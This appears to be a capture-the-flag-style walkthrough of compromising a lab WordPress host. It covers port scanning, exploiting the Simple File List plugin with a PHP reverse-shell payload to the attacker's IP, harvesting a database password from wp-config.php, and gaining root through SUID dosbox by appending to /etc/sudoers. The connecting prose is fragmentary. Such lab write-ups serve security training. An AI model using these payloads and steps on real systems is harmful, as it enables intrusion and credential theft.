

```

(kali㉿kali)-[~/pgplay]
└─$ rustscan -a 192.168.172.105 -u 5000 -t 8000 --scripts -- -n -Pn -sVC

Open 192.168.172.105:22
Open 192.168.172.105:80
Open 192.168.172.105:3306
Open 192.168.172.105:5000
Open 192.168.172.105:13000
Open 192.168.172.105:36445

PORT      STATE SERVICE      REASON  VERSION
22/tcp    open  ssh          syn-ack  OpenSSH 8.3 (protocol 2.0)
80/tcp    open  http         syn-ack  Apache httpd 2.4.46 ((Unix) PHP/7.4.10)
|_http-generator: WordPress 5.5.1
|_http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.46 (Unix) PHP/7.4.10
|_http-title: Retro Gaming &#8211; Just another WordPress site
3306/tcp  open  mysql?       syn-ack
|_fingerprint-strings:
|_ GenericLines, JavaRMI, LDAPBindReq, LDAPSearchReq, NULL, RPCCheck, TLSSessionReq, giop, ms-sql-s:
|_ Host '192.168.45.245' is not allowed to connect to this MariaDB server
|_mysql-info:
|_ MySQL Error: Host '192.168.45.245' is not allowed to connect to this MariaDB server
5000/tcp  open  http         syn-ack  Werkzeug httpd 1.0.1 (Python 3.8.5)
|_http-server-header: Werkzeug/1.0.1 Python/3.8.5
|_http-title: 404 Not Found
13000/tcp open  http         syn-ack  nginx 1.18.0
|_http-methods:
|_ Supported Methods: GET HEAD
|_http-title: Login V14
|_http-server-header: nginx/1.18.0
36445/tcp open  netbios-ssn syn-ack  Samba smbd 4.6.2
1 service unrecognized despite returning data. If you know the service/version, please submit the
following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
`` Go to `http://192.168.172.105/` `wordpress`, `wpscan`

```

```

(kali㉿kali)-[~/pgplay]
└─$ wpscan --url http://192.168.172.105/

```

[+] URL: http://192.168.172.105/ [192.168.172.105]

[+] Started: Thu May 9 05:31:55 2024

Interesting Finding(s):

[+] Headers

| Interesting Entries:

| - Server: Apache/2.4.46 (Unix) PHP/7.4.10

| - X-Powered-By: PHP/7.4.10

| Found By: Headers (Passive Detection)

| Confidence: 100%

[+] XML-RPC seems to be enabled: http://192.168.172.105/xmlrpc.php

| Found By: Direct Access (Aggressive Detection)

| Confidence: 100%

| References:

| - http://codex.wordpress.org/XML-RPC_Pingback_API

| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner/

| - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos/

| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login/

| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access/

[+] WordPress readme found: http://192.168.172.105/readme.html

| Found By: Direct Access (Aggressive Detection)

| Confidence: 100%

[+] Upload directory has listing enabled: <http://192.168.172.105/wp-content/uploads/>
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%

[+] The external WP-Cron seems to be enabled: <http://192.168.172.105/wp-cron.php>
| Found By: Direct Access (Aggressive Detection)
| Confidence: 60%
| References:
| - <https://www.iplocation.net/defend-wordpress-from-ddos>
| - <https://github.com/wpscanteam/wpscan/issues/1299>

[+] WordPress version 5.5.1 identified (Insecure, released on 2020-09-01).
| Found By: Rss Generator (Passive Detection)
| - <http://192.168.172.105/index.php/feed/>, <generator><https://wordpress.org/?v=5.5.1></generator>
| - <http://192.168.172.105/index.php/comments/feed/>, <generator><https://wordpress.org/?v=5.5.1></generator>

[+] WordPress theme in use: news-vibrant
| Location: <http://192.168.172.105/wp-content/themes/news-vibrant/>
| Last Updated: 2023-06-07T00:00:00.000Z
| Readme: <http://192.168.172.105/wp-content/themes/news-vibrant/readme.txt>
| [!] The version is out of date, the latest version is 1.5.0
| Style URL: <http://192.168.172.105/wp-content/themes/news-vibrant/style.css?ver=1.0.1>
| Style Name: News Vibrant
| Style URI: <https://codevibrant.com/wpthemes/news-vibrant>
| Description: News Vibrant is a modern magazine theme with creative design and powerful features that lets you wri...
| Author: CodeVibrant
| Author URI: <https://codevibrant.com>
|
| Found By: Css Style In Homepage (Passive Detection)
|
| Version: 1.0.12 (80% confidence)
| Found By: Style (Passive Detection)
| - <http://192.168.172.105/wp-content/themes/news-vibrant/style.css?ver=1.0.1>, Match: 'Version: 1.0.12'

[+] Enumerating All Plugins (via Passive Methods)
[+] Checking Plugin Versions (via Passive and Aggressive Methods)

[i] Plugin(s) Identified:

[+] simple-file-list
| Location: <http://192.168.172.105/wp-content/plugins/simple-file-list/>
| Last Updated: 2024-03-16T21:14:00.000Z
| [!] The version is out of date, the latest version is 6.1.11
|
| Found By: Urls In Homepage (Passive Detection)
|
| Version: 4.2.2 (100% confidence)
| Found By: Readme - Stable Tag (Aggressive Detection)
| - <http://192.168.172.105/wp-content/plugins/simple-file-list/readme.txt>
| Confirmed By: Readme - ChangeLog Section (Aggressive Detection)
| - <http://192.168.172.105/wp-content/plugins/simple-file-list/readme.txt>

[+] tutor
| Location: <http://192.168.172.105/wp-content/plugins/tutor/>
| Last Updated: 2024-04-24T09:47:00.000Z
| [!] The version is out of date, the latest version is 2.7.0
|
| Found By: Urls In Homepage (Passive Detection)
|
| Version: 1.5.3 (100% confidence)
| Found By: Readme - Stable Tag (Aggressive Detection)
| - <http://192.168.172.105/wp-content/plugins/tutor/readme.txt>
| Confirmed By: Readme - ChangeLog Section (Aggressive Detection)
| - <http://192.168.172.105/wp-content/plugins/tutor/readme.txt>

[+] Enumerating Config Backups (via Passive and Aggressive Methods)

Checking Config Backups - Time: 00:00:04 <===== (137 / 137)
100.00% Time: 00:00:04

"" Searchsimple-file-list 4.2.2 exploit[edb-48979 \(https://www.exploit-db.com/exploits/48979\)](https://www.exploit-db.com/exploits/48979).downloadpayload

```

with open(f'{filename}', 'wb') as f:
    payload = '<?php passthru("bash -i >& /dev/tcp/192.168.45.245/13000 0>&1"); ?>'
    f.write(payload.encode())
    print(f'[ ] File {filename} generated with password: {password}')
    return filename, password

(kali㉿kali)-[~/pgplay]
└─$ rlwrap -cAr nc -nvlp13000

(kali㉿kali)-[~/pgplay]
└─$ python3 48979.py http://192.168.172.105
``` get `http`shell, `/home/commander`get local.txt

```

```

[http@nukem simple-file-list]$ whoami
http

```

```

[http@nukem commander]$ cat local.txt
caf467700e57bf85b254116852d99947
``` linpeas.sh,usercommander's passwordCommanderKeenVorticons1990

```

```

[http@nukem tmp]$ wget 192.168.45.245/linpeas.sh
[http@nukem tmp]$ chmod +x linpeas.sh
[http@nukem tmp]$ ./linpeas.sh

===== Analyzing Wordpress Files (limit 70)
-rw-r--r-- 1 http root 2913 Sep 18 2020 /srv/http/wp-config.php
define( 'DB_NAME', 'wordpress' );
define( 'DB_USER', 'commander' );
define( 'DB_PASSWORD', 'CommanderKeenVorticons1990' );
define( 'DB_HOST', 'localhost' );
``` usercommander,Checkbinary`/usr/bin/dosbox`

```

```

[http@nukem tmp]$ su commander
Password: CommanderKeenVorticons1990
python3 -c 'import pty; pty.spawn("/bin/bash")'

```

```

[commander@nukem ~]$ find / -perm -u=s -type f 2>/dev/null
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/ssh/ssh-keysign
/usr/lib/Xorg.wrap
/usr/lib/polkit-1/polkit-agent-helper-1
/usr/bin/fusemount
/usr/bin/su
/usr/bin/ksu
/usr/bin/gpasswd
/usr/bin/pkexec
/usr/bin/chsh
/usr/bin/sudo
/usr/bin/expiry
/usr/bin/mount
/usr/bin/passwd
/usr/bin/chfn
/usr/bin/umount
/usr/bin/chage
/usr/bin/dosbox
....
``` CheckGTFOBins(https://gtfobins.github.io/gtfobins/dosbox/#sudo),/etc/sudoers.get rootget proof.txt in /root

```

```

[commander@nukem ~]$ LFILE='/etc/sudoers'
[commander@nukem ~]$ dosbox -c 'mount c /' -c "echo commander ALL=(ALL:ALL) ALL >>c:$LFILE" -c exit

[commander@nukem ~]$ sudo -s
[root@nukem ~]# cat proof.txt
f2703f3fd1c2574e785086d535b333b9

```